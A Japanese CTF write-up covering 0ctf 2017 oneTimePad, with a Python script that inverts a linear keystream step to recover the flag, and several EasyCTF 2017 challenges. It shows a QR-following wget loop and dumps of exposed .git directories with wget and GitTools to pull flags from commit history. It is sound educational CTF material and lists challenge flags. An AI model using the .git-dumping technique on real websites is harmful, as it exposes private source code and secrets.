0ctf 2017: oneTimePad

,

solution

線形性に気付いて復元。

generator.next() の$2,3$回目の出力は分かるので、$1$回目の出力を求めればよい。 seed, keyと$2$変数あるので、process(m, k)の逆関数を書くことになる。

ここでprocessは以下のような性質を持つ。

  • process(tmp=m ^ k) という$1$変数関数と見做してよい
  • 線形性: process(x) ^ process(y) == process(x ^ y)

この線形性により、processの逆関数x = invert(y)はそのyを$0$にするように掃き出し法やLights Out風の探索で実装できる。

implementation

#!/usr/bin/env python2
from os import urandom
def str2num(s):
    return int(s.encode('hex'), 16)
def num2str(n):
    return hex(n)[2:].rstrip('L').decode('hex')

ctxt1 = 0xaf3fcc28377e7e983355096fd4f635856df82bbab61d2c50892d9ee5d913a07f
ctxt2 = 0x630eb4dce274d29a16f86940f2f35253477665949170ed9e8c9e828794b5543c
ctxt3 = 0xe913db07cbe4f433c7cdeaac549757d23651ebdccf69d7fbdfd5dc2829334d1b
fake_secret1 = 'I_am_not_a_secret_so_you_know_me'
fake_secret2 = 'feeddeadbeefcafefeeddeadbeefcafe'
generator2 = ctxt2 ^ str2num(fake_secret1)
generator3 = ctxt3 ^ str2num(fake_secret2)
assert generator2 == 0x2a51d5b1bd1abdee4999363397902036332916fbce0982ebd3f5ece8e3ea3959
assert generator3 == 0x8f76be63af819557a5a88fca37f631b750348eb8ab0cb69fbdb0b94e4a522b7e

P = (1 << 256) + 0x425
def process(x):
    assert (1 << 256) > x
    y = 0
    for i in bin(x)[2:]:
        y <<= 1
        if int(i):
            y ^= x
        if y >> 256:
            y ^= P
    return y

import random
for _ in range(1000):
    x = random.randrange(1 << 256)
    y = random.randrange(1 << 256)
    assert process(x) ^ process(y) == process(x ^ y)

def ilog2(n):
    if n == 0:
        return -1
    return len(bin(n)) - 3
table = [ list() for _ in range(256) ]
for i in range(256):
    proc_i = process(1 << i)
    table[ilog2(proc_i)] += [( 1 << i, proc_i )]
for i in reversed(list(range(256))):
    table[i] = sorted(list(set(table[i])))
    for j, proc_j in table[i]:
        for k, proc_k in table[i]:
            jk = j ^ k
            proc_jk = proc_j ^ proc_k
            if proc_jk == 0:
                continue
            table[ilog2(proc_jk)] += [( jk, proc_jk )]
def recur(y, i):
    if i == -1:
        if y == 0:
            return 0
        else:
            return
    else:
        if y & (1 << i):
            for j, proc_j in table[i]:
                x = recur(y ^ proc_j, i-1)
                if x is not None:
                    return x ^ j
        else:
            return recur(y, i-1)
def unprocess(y):
    return recur(y, 255)

seed = unprocess(generator3) ^ generator2
generator1 = unprocess(generator2) ^ seed
true_secret = generator1 ^ ctxt1
print(repr('flag{' + num2str(true_secret) + '}'))

EasyCTF 2017: A-maze-ing

,

なぜかflag提出の結果が帰ってくるのがすごく遅いのに、こういう問題を出してくるのはすごいですね。

problem

迷路があるのでそのスタートからゴールへの道筋を答えよ。 上下左右の移動をi k j l (vim風だがhは使わないやつ)で示してflag{ }で囲んで提出せよ。

(問題文はだいたい上みたいなもの。肝心の迷路は与えられない)

solution

flag: easyctf{kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk}

何を投げてもflagが外れだったときのメッセージで The maze is longer than that. って言われる。 他の問題だと Nope. と言われるので怪しい。 そこで適当に長いflagを提出してみたら You guessed right! と通った。


EasyCTF 2017: other problems

,

https://ctftime.org/event/441

A-maze-ingという問題だけは面白かったので別のページに切り出しました。それ以外はそうでもなかったのでまとめた。

solutions

Web Tunnel

QR code読み取り自動化chal

QR code (png) を読むとurlが書かれてて、別の同様なQR code画像に繋がる

s=DaicO7460493nYSuvLPW ; while [[ "$s" =~ "^[0-9A-Za-z]+$" ]] ; do wget --no-clobber http://tunnel.web.easyctf.com/images/"$s".png ; s="$(zbarimg --raw "$s".png)" ; done ; echo $s

easyctf{y0u_sh0uld_b3_t1r3d_tr4v3ll1ng_all_th1s_w4y!!!!!}

ファイル多すぎない???

$ ls
03OcHJ22vE0NsTj0dUgq.png  77YP4bYAIuYbX8lN3wFy.png  CvPzwWX44CzoAsBozAHs.png  HVILmfOfhQONxZyrUz0K.png  mCRe6xbaf0uzl0aUXKZR.png  RkKZcdpjI0nML4rZJvCr.png  w1zdPRn1bcOYdE8ipkmz.png
0GW8daKCRseAtZouyY0Q.png  79J5QShJpXQCPPBzlFeT.png  CwncuJ0I7LFq0JlbDluP.png  HXxsvvtTXM6ei6AA1owM.png  mfvkWJCWTB1xgUIgnrXt.png  roI8xz7svbrGy8Zm3FMI.png  w4uiEZl7NAfuGzjRyWIj.png
0M89gDq06RlEAiyQC51i.png  7cEyTeq9RcLM6awdOEVo.png  cwUyDtt9au4Nm6eXbbEk.png  hY4JNv8ly7iHTOBXFnPz.png  MHv6StrgS5ptP8ZcbJcx.png  Rp4HnXKCBDDFU7paQbMX.png  w5oUznaLCLOoNgrTtSFL.png
0N4UxXvSQIc02pMpb6Ua.png  7G7Uet0DN09GeXd1Htjk.png  CYQMrzR0f7zfekfJpPho.png  HYxixEDkamnwfT7GOaZL.png  MJveDKbGqSWnBeMhyzgm.png  RPl7Eo0VNqIVvl2n94Im.png  wbfGYgyGlNftbhMkAklR.png
0OWIX0VmJSLbHRztJEn4.png  7iisCuZe1hfzkF9ojudi.png  CZwk49wwQDIsL5rzUWUO.png  Hz02Tyiq33nnPJSmDcbh.png  mkUglONCVi9braJplzg6.png  RpOGv5PBawva9sEiHEoi.png  WcctmN8nBkYkR9yNtDRz.png
0tUI3UgEcpduOKFik1Fo.png  7KgamvoOnrya4XGawcb8.png  d6zxEOOtA9xvhj7LZ051.png  HzBbyOPcjwPRnVQqS1Vn.png  mLZAecbxOBlsGB2tt2Mi.png  rQPZ5RbGP6HMfpmpYZ7r.png  wfWMkWs7yuDxHSHTwk9c.png
0xvstUXqThgkUKTWr7vb.png  7SVxhQF50QU8ndE0e8t7.png  DaicO7460493nYSuvLPW.png  I3tnN3iUqCNobYACYG70.png  mnhtcQCX77siwa10uEpa.png  RSAL6SeDvubgBNHZ9WF3.png  wHdZxaVvktOSOka0cwbW.png
1bKioXFNzDnRfpduNqZi.png  7uvgCTvTFfM9G4DtKKcN.png  DBY3OoqXsucmMb6t3mJg.png  I4letZDvCkdfT2qkZWUO.png  mNLrqUxtkLrQVPn8t190.png  rxA0CuLDwvN4ktsSaTrT.png  wjjFapdGib3U4w2SunHe.png
1FJQRoLvoUk6dK8FVNjp.png  7vHtS8FCXWbCLWxLmpTg.png  dIHccMRVtK1aeo3Tu3pf.png  IcheUNZpqGfuzZBuJzKm.png  mPZv0cdL3VUjcSv4PjK7.png  RZQOx6ulMa9M5xmXNGrD.png  WNGiUCafQdsgMfi95zpZ.png
1GK7XZ78XVYeX3tLssaT.png  7zEk6677mkdrbG9a5Cmx.png  dKjVyD4nDDNhOKTUsqu9.png  ICMTuvDgqoKGsf94ikS6.png  MQ34e8uP9Ak4hbwXzInq.png  rZRSZkpAtVYrTue3EMOa.png  wRtxQH4YI72hM01At4Rg.png
1jwLMHNve77Y7jg7FPDf.png  803yXDpkB18551kXlipO.png  dp3YvnbtsZnSrbj0gjpM.png  ICPwQjYMNfBIfXo2EDrk.png  MTrWyWwwYRfzZxcI7Wgn.png  s0Y5xcO73tPOjG1hSEso.png  WTWPaPmpVd9ICHzEfpVw.png
1ujNfgkGWyVFxso6qkdk.png  8azdy7wCJ6GNgUjm3bCb.png  Dr10tlUD2YqvujTLAYBd.png  iFbgdVLIk4OHzWXeRZNu.png  mybhZSAX7weBOX9zIo3b.png  S2qKtjDFcBV7bLvMfZto.png  wUgcljJJbobySs3ZghJN.png
1uM0TtgMjkfK0FiEzoFS.png  8CJRtiDQD52ox2TU8dxj.png  drlINgP6ygynfQ8UuHup.png  iIkwWdRqRCpLPzAc9Sw7.png  N1FDsZrXNGP8VgykkC6i.png  SaMV1cu4sSJmbmtHh74x.png  wUYcf7S3XkltCI6ZyBBA.png
1YdkmIkWurJS7w9jLKHR.png  8n4QsGlDdClEkzoHXs9a.png  DtCHW15tI994qn8dFlt1.png  IitJH9DGV1sdjGBpr06R.png  n2kLPyhpOJlvD16Q71eT.png  sFAUKPxMEnQZMA1rM75M.png  Wv0i6Mc3JZPnpLy20LrI.png
24ePL62Op8Ws4cYIQISq.png  8nbgUJ06fC23vrZRhxf2.png  dz765ZXyVRABu4h5BiYN.png  Im71WM69YTZ0WMH3lyZ8.png  n3S9dPpAbDtwa4hueCkI.png  SHcd0S7LnJyAhdXxOWsZ.png  wvDm23PBInuqoXnuSf4u.png
26SZsmleP2YUthYMjeNs.png  8PsonPDN0WY2Eb53k4r5.png  e1Bl4T59HrpU0agB9ECY.png  IT211UQDvBVyR7erj1Om.png  N6nOmXhgdrx1fkY3MNvp.png  sN2nxjBALsg4gqsXM2Wv.png  wVZdZ38yirov7nmjldEK.png
2AqLsSvyAQznkTtX2xew.png  8qPGy9NBmb2ImgQ2hsib.png  E7TbUvVZjksCrbDuoJea.png  ivkKG2I6s4qwhzKqyOHZ.png  N6tLjyg8qeCjLeVSWNZs.png  SoSlXyLeSXTf4K2wNMem.png  WWgQcv3aWx1hNNhsqgyi.png
2ceCkELMstjS27dMxCSl.png  8VB54me0TA00qm57tISt.png  ebO3ZkR1AUnIOYmPRqF5.png  IZQ9rYSlf3tw0h6AbvAn.png  n7Ka9d5SWD49HfCJ3oB5.png  sPOQ7fCCYOTKADyBXVnH.png  WyjVGV2mLGHztwOGWNgZ.png
2fmYCXhDGKd8A5D3GdtF.png  8XqZVU3J1LaAVzWOnVdD.png  eIiGhAQm6zUnOT21weLz.png  j3BGNsi7mkfuR7D9ragy.png  NBofDP3xpEJpaCQn68Ob.png  SSqNcuPVbuq8KKbI8PTI.png  wzlm5fcNxoTLoBpdWhnq.png
2GD4zwS8RgYm8UD0NGxn.png  9d536g81nAb9s4jWxCKG.png  Ej7OKIWRR3miFWT12tIa.png  j3OC9MAuxLsN1IekpN6Y.png  NCk1xnHJUTJqNDMOO32t.png  SvcRWh3kn3oaEoQ4bXQc.png  x3j2OvTUontnOugU1Ltq.png
2GddkJaYx3Vgaa7TpiN1.png  9fkSyVUSq5do6abGYUUb.png  eko5NetzcuEh83P2eZIf.png  j6GrG2tTQMbCnm2jMIX0.png  nF0GHGGIXkq5liR54Nsd.png  T0c5V3vU5IMpcdW0kc7l.png  x4Gc7lUgvC798wEeSTgh.png
2Kj3l5oXosoKBmEsMmPK.png  9JwQdGnQPtdP9hcVjDLC.png  elnTRSHrBQmmoUpwI7gR.png  j8fwCs0GcItKUjWZbV4r.png  nIBF4rdyQEaDI8CzCrMq.png  T0m70mqwKna03xKbdlLI.png  X5S4F3ISQ1SeUqOXSkUq.png
2PMckmedbpZVGJFcRekU.png  9lY6Bx138HprfzNASGRD.png  elW4VfQ4qYY94SAYXuZM.png  JaDaCaH2IvOTjLUY4cEx.png  nKvyRUSuj2Q4q088sB3x.png  TaQKdHpEJz7XD36O41aC.png  X7MzFYs3QurEf6HBzHIk.png
2q2zsDOQglx68EYmpGr8.png  9nbOnHMaaeiePSdrGCi0.png  er6rm4Av8ITtQ8MyIDeA.png  JDen5jiLwJIaQPAv4liF.png  nKWljlgkSeFvcsiMbYoZ.png  tCMxqnGwM0iaqNOWYwHQ.png  x7VF9QbrpyEGiKFVY5NU.png
39rJnSVQ08Xin9aSrDDR.png  9nTEXevZiJWXe2RcQ0SY.png  EslQfoqafmEQN7lUfC2h.png  Jecf6u4a2luDjxJloiSK.png  nmiAk6y1n2m0GnyKLyDb.png  tDTeALa22qJNn1vIaNcI.png  XcCGC341b6pNwLEdB3sl.png
3bYieVOsvgeZMwS5chyD.png  a0wDHTxSvEYquNbWm8hh.png  evFQIeY37plP2sQXmyB1.png  jglLEv9xKxSfdB72kMRA.png  nN2Pj48FDYE5ndNc3BaX.png  tEFykEP59WqfdhTDucVD.png  xdG49JLPlel3sycEXKq2.png
3CNLZ6ppc482zxobKcwm.png  a2YTBKQTMpDnpvMQxzto.png  EvIhR2bK7iBoSG4ITqPt.png  jhGI88sRtJS2OvZi3yBn.png  nPa3VguU1HHeX2GBrUr0.png  tl2rlgUENhzIYTWD7Sm2.png  xgV274JFwoWkhjQFHTfT.png
3EWkpY0LbHxP3es3ktvu.png  a4Q0dxYn9b1Y4WN3IEiG.png  EVviB5egBCmFd9QQ4DnM.png  jqeIBra2diB5C8xopKFR.png  NtPTpH1n0wEnhJYHbFhn.png  tMBSEGeuj6CjMBenXZlD.png  XNKUGSHnlMp1NMHPz62a.png
3fzoepWRKpxmpA9PxTNQ.png  A7pUSnQsr9QdqLdGb2Zl.png  EwELEaXCYOJ4CukpAucZ.png  JSHdQ9X5sGLUfhw1PhM1.png  NV7MZShpA6dib8ZDTEXg.png  TOowtHt7dD1C8FgcVWMM.png  XnVlui493J1uhAW1bHaC.png
3gCyaMBdnvbnr1APpMFT.png  aaiPTJXCIgbObWSic9wK.png  EwFxp5JKqvN1YQf1hlfd.png  jTf585qjldXddUZOSYNS.png  NxBGIT4egHCoRlyf5ab6.png  TVXox0IwSg5cVnE2qUOd.png  xs54ra8qvFVOXlbACiJC.png
3M4CJU3wWczeI7O2XnLS.png  AEZUtZ6olbaNJOmq2M5T.png  extEZvS0iV0TuOsYF0zm.png  jWVkmvTiS8VGenm4NGre.png  O4eSfFaL6IZhxJjQwa8V.png  tyk1iHx7pV7clj5xk5OH.png  XXGA5VX3nnnJXSVDfriv.png
3VWxeP2ve70b2mqqGXda.png  Agg20qjJJxmjxzZHD90f.png  f5AebauMLyPTWfl4wKjY.png  JwYVBg6LhvRhQYSF3b2p.png  o8F1Xqes74FMlA4gYvm9.png  U1IuznZzxvXBsQ9vF4Rg.png  xyyu2V7iMzLMku1Rqw9O.png
3wLIgzCTKd97PzBkp2Cr.png  ajtsgSudFGJaSQOa4uWT.png  F5UKnXrPm8Jdqe98EbFH.png  k00uFs4pBrItHCgJwepU.png  OjcHgrqwe8EVBtpP7eZp.png  U8RA9ATvOrtTYI2cgdO3.png  y0H7BO27NaRDk3C3FaVk.png
3WnzqpdoqsrsWuNitwNr.png  AKbeB1Ju6hIKk5o9rwdA.png  F7ERs01T6nlUG7HVfUTE.png  k0joEcy0qsmE5APsCQpT.png  oLbVaR8yNkODjjDQG4gP.png  UcAafchXMmhvhWLFsTxf.png  Y1hgP4XXRUvVHVr6VVKD.png
44EUs0pa4EfQm8vvJjo7.png  AMCmM1T8jlclCsAmaYsq.png  f8qJ38jVF0sG8icM63KE.png  k0x3Mi5LWIyNafVFYami.png  onkJ71AOpJ7fEkGadskg.png  ucxLYuKdFWe3LreMrSmS.png  y23KfylNc9uncvr6lQC0.png
4BjKcgpVSDpjtUOPmjSE.png  aQrKmy3abupAVDpOKeU3.png  FBN2VIcMuJvDKoqpa6R1.png  K3MzplxbglNjfKH1AcOs.png  oOzXyWU4fn8YBPvgSNzt.png  UeEcphazhjcJI9ayJER4.png  Y5dN3mrJIXxbxkj9cU8J.png
4cc2sqBbnD5HvSSfuzE3.png  Au27uo4WZDcI2YMkoEqi.png  fDV9UqaR0DdjpyrYvB2C.png  k9Bf9Qdx6ENI9a4V9ktJ.png  Ot89AVAugeMned8fE9cr.png  uH9SbspTlA28fzlPxnon.png  Y7jpCxNvklEZxe3Gh5zt.png
4CYCuswfGnGo1kUqSXKs.png  b4oltMJ7Da136Y2Hmgve.png  fEU0bTpYU37OBYuhoUS5.png  KDKp0XzzBLT3YG53zpGO.png  owcKAa4fCmom6Y3aTs68.png  UJ6GOg5AeihYxWA2VKk7.png  y7LAEbpt0JoGOYUzsZW9.png
4J2byRRCrJvHPZs5PP1Q.png  bcAhjsa1fXnMbYFnTD2W.png  FFQQn4NwMXl6K26Y3uO9.png  KeuSSeWHrQFTCmrEHAYq.png  P75hn0VCl8sU969U80My.png  uLmuRafouSHTbV0ysuTk.png  yb2KzlmgiI3Kzsm5m6Oy.png
4JxggNLjrLV0r04gI50W.png  bEIXVBUDg53RdkPsBivw.png  fh5AMlVhtw7KntgL9Cwh.png  kPmKdSVIbkwkooHUauED.png  pd5lAqT3Z2b7Wt0eN4ge.png  uM11Q5FfbSCWjDDEgKzP.png  yh1cibtZ8wNLKWCU9JUk.png
4Kc1r52G6fYA1TIVa215.png  bfKaQVYva3aA1WuOOJcR.png  FHvcWJmGyEWNmqoxKgbj.png  kpTYHMIy81NaniofCfzT.png  PGbJPFVPk5BZI2CObaoo.png  unCY8SrVh7QoJO1P7fvu.png  yKEuKhfeQCGENaX2LzxU.png
4li9N86JReFKMzd5JRDT.png  BFWwYA8EPr01GLDtDRMg.png  fKxRhI6A8fENsWuPFPd0.png  kq3hOBJQZG8bwV5YeDJF.png  PMPI7a5A4t4IjA3tnrzO.png  unurnKtQ5eDzDSOMZZuN.png  yLq9FlAg3iFPd52xMKEe.png
4p4rAR2MbheFmjd55A65.png  BIX5k2XQOlQQEyagKRZf.png  fpGYb30vi0UC9Si0Vzgr.png  KSz1xktHU8S1YEMbHBEn.png  pmr67PDJ3SqpGIRTyLbK.png  uS4ep4YYZSnlA4crUiAl.png  YMOQaySYivSKJKpemSGl.png
4q1BHp239ZfQfXgEIktP.png  BJdADscDKy4thpWA6vUd.png  FScjBlVapzEwgjZlm2gE.png  KyfVsY20TyGmogyWeVDS.png  PUSmWYfu2TjvVU9Y5zNY.png  uuSr92fFgh7OETCDF86U.png  YnLLwnJP354hf0VcmQ72.png
4QISeETCQ4JhM7RLkSEp.png  BksI3PN1H2eszRWUdtuV.png  fVacku957nZi1btWCjGt.png  l37Uilp8zXATIEiSS5xf.png  pVzNeXkgkoSm5SR7WTYJ.png  UVF2KMNgCksD5YrWDaYt.png  yP1wlbelcjM2bwTmihkx.png
4TOphP1bMxCmydUmYZxZ.png  BKvsggAXtfM7BDv7ns40.png  fw62Yed1wWn65npHr9Cx.png  L3fNcZyFovOem8YPCSAL.png  pwuCNoIXd45FPnkBkFuT.png  UVjup5fPDIFWJ9kMVkSb.png  YQFypP1PJgGqq4AG1MgD.png
4VvQnndiyVsufqJJGNnp.png  bl9BimiQOpw99yAYFbbD.png  FXpi4ahSC1xXOVzs0aLT.png  l3YOGvMyVZrthJGO9wPc.png  PxrlbJOBlz9ngAdSkJmN.png  UvsOYxGwGjLWZw9yAiUy.png  yQGmPXnB1SRQhN9s4rLW.png
54gxSl42z52PxncQiWTd.png  bLYNp13mYjNx745jMS7N.png  FYUMfAf4iaHhVaq3BdDt.png  L4Vm0z9dythaLRndXdUU.png  PXTj4HB5jFPvKVO7l0yO.png  uWaWBJT9TXYCqhrfX2oT.png  YR5QIdRM06Mwk6jDeNlh.png
55DVktK57ku06YGmbg6j.png  buQ606MpriqmirQAPR1T.png  g1gogZtx25JRdziC5ban.png  l6lIQTP85YwTQABETAqB.png  pyQasbpYyWV6ptGZTn4x.png  ux2XDQYAIYKgVMiegGrj.png  ytToQkvktbt4bvpjBQy8.png
55W5RnUDC9hg3T0VwDz9.png  BVEcdvZ5tumnM732jnZz.png  g379RXpwEz6n0dgzoHCK.png  l6OQgr34Os0nriHn9iRG.png  Q1vBPKMS4yfvpEUYtvfa.png  uySqHFkFFp6yP1S82glL.png  yUN4AfBDuXnWIyqXkzPc.png
5dHR7jWz2DFPRGIgR2cN.png  bZkesjKQcvHfyRSpc2nF.png  g6FAoH56T1zcrQyHrLkk.png  l9zufg9c8R05swPFOFDl.png  Qc6ukswwuWrx7yu83HQc.png  uz7JsHvRXa8f2flhW9xG.png  Z2OGkP7ALt5GU786p9rg.png
5g9yjy1OW0hzzWImfWwd.png  c0crfYLbJUd2mi3TnI8m.png  GByiEjV4uiH4n0sZmw9a.png  LAgsO0AZVKfFnc8sItWA.png  qDEnPZiXm2UYRFGVmFC8.png  v0fhgIKsKUKpPdiqACZz.png  Z7t7Pc3UUHeTI3muIp6H.png
5i3dS13cqXiPY4JRVDq6.png  C5zAe1OafRiAeMHyVkBK.png  gdxgHqNA9EKsuNVE3ieF.png  lbaY9ruXz3IZ7CSA1WBB.png  qEDQrYCQcnTCNJE7eDu3.png  v55A0ioD33XNYAl4lfTb.png  z7TkS9jAFF1ZQRhfyPFY.png
5iuLB5tHKGQLdqSQSFt3.png  c6fDE99MtUa3TOoH5vZA.png  gEbOoHZw8G4l6HYDfe3B.png  Ld2cUpzyNUhsaHEgYlCK.png  QF7iI9kuqCC7jYcrRMSV.png  v5kVh6t7uca6hX11sOXU.png  Z83XRAQmJveQwqpobknQ.png
5kche83imCmyzrIAmUhG.png  C704oTItNhk8kr9qgZYW.png  gj03Ks6d7htd8ubeZxir.png  ldcGF62EnBNnEAco9pCn.png  QJYDpHXasvuG5fy2TCMf.png  v7SQm9i5NdzLnmeWrsWR.png  ZbgkD4ReSvnVx5YvtRtg.png
5VREy6lF6budZRo50tgR.png  cadc1OkSA4oFNWTGt674.png  GllSYPLWfrmPknX9SJWk.png  lf7udExZe5cVkNzVZgjB.png  QkzvsYfg9xdG1WP1edww.png  v8a3McWWd4Z0bs3nx63L.png  zces2DjRMYzhY4agaI2K.png
5WDP8nyV4lMwDora1zh5.png  cbCp1FfW7G0XA9wXxtWR.png  gLyg09LRoLImBcsS16Fb.png  LfR8hACsKogzroseyZuD.png  QL6Pen5knww8l8SHS3e1.png  VAAOArdmwiNx7mVoMuj3.png  ZDFaHmF8FQfBxg5PWsZP.png
5WrAPqkRIqrYKmCJuGsv.png  cBolTRRbeqFZ9dDfSQw7.png  GMRqX1aIUdRatg4m8UNJ.png  LfxorwTKiL32vtTfBjU0.png  qmQNfVv1f3jKOxWPgCjs.png  VBkV6ucJr3akLlXOM4EV.png  Ze3FYfd7ukInlADsfO9b.png
664fac768ipfdjg2FTCL.png  cCBTgjVeQ2yHHh2dZBJw.png  GoyiTuXOaqAhEv2G2YzC.png  LIDLkJ6jX0uBs4yyoEbl.png  QpmPpfPO2lkIZCcfleKr.png  vchyTWkwDCfeoVvt4HNp.png  zEnc6SciU2Fq4UnkkZnx.png
6AmyNLUSMKkGgqV38waT.png  cDhWk8dkX2A8XH62S3K0.png  h0eG1HGJJlXFBlW5LvyC.png  LINWKK6pMh2YfG7Z5hkX.png  qpOHkHC4gnwHVOL8J48F.png  Vd6N2thTdlXBRI2R4Vr1.png  ZGNt88DkQ9AJthhu23f7.png
6aZA1hJbTaqwyluH9eOH.png  cfcRQMdVKrstCcO3fDwX.png  H0hKXPNcFXOTJ30edrod.png  lJ8hc6AMOdkHXNy6ytUE.png  QTXZuwSkpjmMX61xkDvn.png  veLqVd3uNqhyYToH1Dfj.png  ZHr113brL6pZ5thqxJra.png
6DGiJ0S8dnfqxrVKCvtd.png  Cfmcty2QLlV8QDzd7BJa.png  h3d0mOApnx3XoL9foSD7.png  lkRXwkCtFf4Y1aoEcEsD.png  qUyXgJUqfpG3kR3HLYyt.png  VFPYjgfFdbRtlEFHncpU.png  znTjhBPLL6VcrsFmWKXD.png
6Fgk5QZmazcxNjlVTkun.png  CJDCdtdhUWl7lIbwWZod.png  H9hz80Y4x45lZMjzFdvd.png  LLCuoWjeloRMKwtBOOl0.png  qyft55SYZ212pRqvhEjp.png  VgpDcezwpd6JNyCXg5yY.png  zOlj9jFs3d3OVAzT4s5V.png
6hFeBbeH6YFRKhA1lodM.png  cjGh7tXAGWcq3WF5PFeK.png  Hbnp0n9n6J5IDqivLZZv.png  LlkOe9wEvnkUDttZuqe9.png  r04hovh7JpDIv5xs7dFx.png  VGS0vNHK6RohTRzWBwFe.png  ZpBSnf6EhIhrVKLx8YXD.png
6j0hSmtsNLvDnTcu6ifR.png  cmH4VDzUWgMjwvjvbFvp.png  hCfFVXLUkU7gv7dtIhnL.png  lmfuxyxlkZ66kezDYupx.png  r4GIAU28Pu2wZIoq7fAN.png  VJn6v0MJl8MfpVwt8Jgz.png  ZPYiMZnxfxHUlYrnp1Eo.png
6JLps3OwqMGFAZNzf5IS.png  CmiicGpMvQAjnbTTIzEF.png  HCLBPISNQpgAVriGoIze.png  Lqh9zNbaZrC9VEPUJbXM.png  r6C5y7h2NaXb1tQ4lB1A.png  Vk55zHq7gyRFKYKrvsdP.png  zr7HGz8I77VT33hign9I.png
6qD606qXcQDnIWEnNUZG.png  cofuqKgYtHR37YZaBbdC.png  hfFT9oI0o4glG1EafP2f.png  LuhbSOftwtmYnasonIXJ.png  rDCPACgyfswqL5h0qh0T.png  vlv6jI5NZPKnHTgdLpAC.png  zuMgTgUeZnYUhl8jnW7R.png
6tKgVP2GEwxRCm96wAay.png  Cq3rfde3SqMOTER5seY9.png  hMX7GoKM4zaS95x4jwoo.png  LVHjYIcQTNYD7l2ncJcQ.png  re6oYoQkK11G3cd7bJmy.png  Vnc5a2gqmpD2uG4c0VEE.png  ZWddwftEDtfimNtuZfCN.png
6ueuThgbsu52nhMyfyqj.png  Cqkohd5z1O5G6Q5rmgtj.png  hNeCKbUoZT2g77wIVsYj.png  lVximFIIxyoEXFDKNjrt.png  rgFlvg90oK26H70fTFlt.png  VpMvcUNECEfrWRUpORxz.png
6y3ElDsNQ9CWc1TiflEI.png  CtBOXCx7OXLk7R4zaKtG.png  HSNc8lj1MvfELWceufeC.png  LWN1po6oiDKyqBTRftI4.png  ri7WeSw9u8W1RVuKEU3u.png  vUSe46H9rsS2zBA059Eg.png
6yOmm62HKQvFrNG9e3h5.png  CTK03A9OCB5nSJolLBGu.png  Ht6uUtZ6gUx9yxB2HlpU.png  m1vcAJPE8mxzIMaCcZJ6.png  rIOJUcLbZEiy1lSmRCou.png  vuVLzCVE2rBaxtsyrVAe.png
76cseHRCZ7C5DEBB0ryq.png  cuZPnmaj91ifcaI9lkje.png  HuBaJcTAT53nFQzMZrHw.png  MBzKunCQk7t5eVDwxsZr.png  rjwHdO3aZc8T7GAKLbNf.png  W1rQ3yvQ2TZ2M6NxMJe3.png

Edge 1

$ wget -r --reject-regex '\?' http://edge1.web.easyctf.com/.git/
$ cd edge1.web.easyctf.com
$ git log
commit ee9061b25d8a35bae8380339f187b44dc26f4999
Author: Michael <[email protected]>
Date:   Mon Mar 13 07:11:47 2017 +0000

    Whoops! Remove flag.

commit afdf86202dc8a3c3d671f2106d5cffa593f2b320
Author: Michael <[email protected]>
Date:   Mon Mar 13 07:11:45 2017 +0000

    Initial.

commit 15ca375e54f056a576905b41a417b413c57df6eb
Author: Fernando <[email protected]>
Date:   Sat Dec 14 12:50:09 2013 -0300

    initial version

commit 8ac4f76df2ce8db696d75f5f146f4047a315af22
Author: Fernando Mayo <[email protected]>
Date:   Sat Dec 14 07:36:18 2013 -0800

    Initial commit

$ git diff afdf86202dc8a3c3d671f2106d5cffa593f2b320 | grep easyctf
-easyctf{w3_ev3n_u53_git}

Edge 2

$ git clone https://github.com/internetwache/GitTools
$ ./GitTools/Dumper/gitdumper.sh http://edge2.web.easyctf.com/.git/ edge2.web.easyctf.com
Destination folder does not exist
Creating edge2.web.easyctf.com/.git/
Downloaded: HEAD
Downloaded: objects/info/packs
Downloaded: description
Downloaded: config
Downloaded: COMMIT_EDITMSG
Downloaded: index
Downloaded: packed-refs
Downloaded: refs/heads/master
Downloaded: refs/remotes/origin/HEAD
Downloaded: refs/stash
Downloaded: logs/HEAD
Downloaded: logs/refs/heads/master
Downloaded: logs/refs/remotes/origin/HEAD
Downloaded: info/refs
Downloaded: info/exclude
Downloaded: objects/15/ca375e54f056a576905b41a417b413c57df6eb
Downloaded: objects/a4/8ee6d6ca840b9130fbaa73bbf55e9e730e4cfd
Downloaded: objects/00/00000000000000000000000000000000000000
Downloaded: objects/26/e35470d38c4d6815bc4426a862d5399f04865c
Downloaded: objects/6b/4131bb3b84e9446218359414d636bda782d097
Downloaded: objects/7b/456b0125e74b44d1147182019c704c53132013
Downloaded: objects/8a/c4f76df2ce8db696d75f5f146f4047a315af22
Downloaded: objects/ef/6648fbe67b66177281ae47390dc85ee101c18b
Downloaded: objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
Downloaded: objects/71/8a78c464ed47bf916ac8287612b8ad941f433d
Downloaded: objects/37/ec93a14fdcd0d6e525d97c0cfa6b314eaa98d8
Downloaded: objects/7c/27b010ab7a003468fa52dc311958aa90ee93fd
Downloaded: objects/6a/27de374c0e214d1296e7efcb9248afbda4144f
Downloaded: objects/3e/80375f25952db9f5d0ec91eff61f0dcdb73881
Downloaded: objects/96/8c8df7909f842e19469796df59fe6c5ba62740
Downloaded: objects/bf/b7f616dccce6861eee15c98bb2239bd23916a6
Downloaded: objects/ee/e07900b99065703cdb4e9b6690e7ea80f459c9
Downloaded: objects/bd/083286051cd869ee6485a3046b9935fbd127c0
Downloaded: objects/14/032aabd85b43a058cfc7025dd4fa9dd325ea97
Downloaded: objects/a7/f8a24096d81887483b5f0fa21251a7eefd0db1
Downloaded: objects/5d/f8b56e2ffd07b050d6b6913c72aec44c8f39d8
Downloaded: objects/cb/6139863967a752f3402b3975e97a84d152fd8f
Downloaded: objects/e0/6d2081865a766a8668acc12878f98b27fc9ea0
Downloaded: objects/09/432cab87abee259ce62242ba90217c4e7f8b58
Downloaded: objects/61/67622cecfb5c0f04156363565e3d4109fc55c5
Downloaded: objects/ed/3905e0e0c91d4ed7d8aa14412dffeb038745ff
Downloaded: objects/b9/3a4953fff68df523aa7656497ee339d6026d64
Downloaded: objects/94/fb5490a2ed10b2c69a4a567a4fd2e4f706d841
Downloaded: objects/14/13fc609ab6f21774de0cb7e01360095584f65b
Downloaded: objects/9e/612858f802245ddcbf59788a0db942224bab35
Downloaded: objects/64/539b54c3751a6d9adb44c8e3a45ba5a73b77f0
Downloaded: objects/8a/2e99a535d47e5798b167d1074ae2c77cab21e7
Downloaded: objects/9b/cd2fccaed9442f1460191d6670ca5e8e08520c
Downloaded: objects/d1/608e37ffa979b8689bfb868ad8b061b191f6f6
$ cd edge2.web.easyctf.com
$ git log
